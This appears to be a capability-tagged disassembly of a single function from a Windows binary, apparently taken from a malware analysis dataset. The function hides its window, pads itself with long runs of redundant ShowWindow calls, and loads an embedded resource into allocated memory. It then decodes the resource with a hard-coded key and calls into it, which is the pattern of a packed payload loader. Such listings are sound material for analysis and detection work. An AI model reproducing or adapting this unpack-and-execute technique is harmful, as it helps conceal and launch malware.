Function at 0x10001960
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100170a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.ntdll.dll
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0x17
mov dword [ebp - 0xc], 0x1e55
mov dword [ebp - 8], 0x409
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x11
push str.LdrFindResource_U
mov edi, eax
call fcn.100010a0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 8
push eax
push edi
call esi
push str.LdrAccessResource
push edi
mov dword [0x10018408], eax
call esi
mov dword [0x1001840c], eax
lea eax, [ebp - 0x24]
push eax
push 0x10010298
call fcn.10003326
add esp, 4
push eax
lea eax, [ebp - 0x10]
push eax
push 0x10000000
call dword [0x10018408]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
test edi, edi
js 0x10001c68
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
push 0x10000000
call dword [0x1001840c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileGather]
test eax, eax
je 0x10001c8e
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003343
mov esp, ebp
pop ebp
ret
push 0x1001029c
call fcn.10003326
add esp, 4
push eax
push 0x1001029c
call fcn.10003326
push 0x1001029c
mov esi, eax
call fcn.10003326
add esp, 8
imul esi, eax
push esi
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0x18]
mov esi, eax
push dword [ebp - 0x20]
push esi
call fcn.100037b0
lea eax, [ebp - 0x1c]
push eax
push 0x69
push str.4F_AX_U_DZa_qpoDgOBKTRe1nFLxbEzMyEWM_F_EQP3tST_4qdn_68cxx6dh2kZfCVbxy1T8SQ_A7Qlr_34fW6yLzq9b_G
call fcn.100017a0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
push esi
call fcn.10001850
add esp, 0x24
lea ecx, [ebp - 0x11]
push dword [ebp - 0x18]
push esi
call fcn.100023f0
push 0x100102a4
push eax
lea ecx, [ebp - 0x11]
call fcn.100022e0
call eax
push 0
push 0
push dword [0x1001706c]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10003343
mov esp, ebp
pop ebp
ret